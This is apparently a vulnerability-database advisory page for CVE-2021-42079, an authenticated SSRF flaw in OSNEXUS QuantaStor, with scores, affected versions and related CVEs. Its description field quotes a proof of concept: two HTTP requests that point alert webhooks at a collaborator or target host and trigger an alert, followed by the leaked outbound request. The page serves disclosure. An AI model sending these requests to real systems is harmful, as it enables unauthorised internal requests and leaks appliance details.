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CVE-2021-42079— SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355

Quick assessment

Affected
OSNEXUS QuantaStor
Exploitation
No confirmed in-the-wild exploitation; assess based on exposure
Recommended action
Check the vendor advisory and references for a fixed version. If immediate upgrade is impossible, restrict exposure and increase monitoring.

OSNEXUS QuantaStor是美国OSNEXUS公司的一个统一的软件定义存储平台。 OSNEXUS QuantaStor 6.0.0.355之前版本存在安全漏洞。攻击者利用该漏洞执行服务器端请求伪造(SSRF)攻击。

CVSS 6.2 · Medium EPSS 0.69% · P50
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I. Basic Information for CVE-2021-42079

Vulnerability Information
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Vulnerability Title
SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Source: CVE Program / CVE List V5
Vulnerability Description
An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####
Source: CVE Program / CVE List V5
CVSS Information
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N
Source: CVE Program / CVE List V5
Vulnerability Type
服务端请求伪造(SSRF)
Source: CVE Program / CVE List V5
Vulnerability Title
OSNEXUS QuantaStor 代码问题漏洞
Source: CNNVD (China National Vulnerability Database)
Vulnerability Description
OSNEXUS QuantaStor是美国OSNEXUS公司的一个统一的软件定义存储平台。 OSNEXUS QuantaStor 6.0.0.355之前版本存在安全漏洞。攻击者利用该漏洞执行服务器端请求伪造(SSRF)攻击。
Source: CNNVD (China National Vulnerability Database)
CVSS Information
N/A
Source: CNNVD (China National Vulnerability Database)
Vulnerability Type
N/A
Source: CNNVD (China National Vulnerability Database)

Affected Products

Vendor Product Affected Versions CPE Subscribe
OSNEXUS QuantaStor 0 ~ 6.0.0.355 -

II. Public POCs for CVE-2021-42079

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III. Intelligence Information for CVE-2021-42079

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Other References for CVE-2021-42079 (5)

Same Patch Batch · OSNEXUS · 2023-07-10 · 6 CVEs total

CVE-2021-4406 9.1 CRITICAL Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and
CVE-2021-42081 9.1 CRITICAL Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.35
CVE-2021-42083 8.7 HIGH Authenticated Stored XSS in OSNEXUS QuantaStor 6.0.0.335
CVE-2021-42082 7.8 HIGH Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
CVE-2021-42080 7.4 HIGH Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355

IV. Related Vulnerabilities

Same product: QuantaStor
Same vendor: OSNEXUS
Same weakness: CWE-918

V. Comments for CVE-2021-42079

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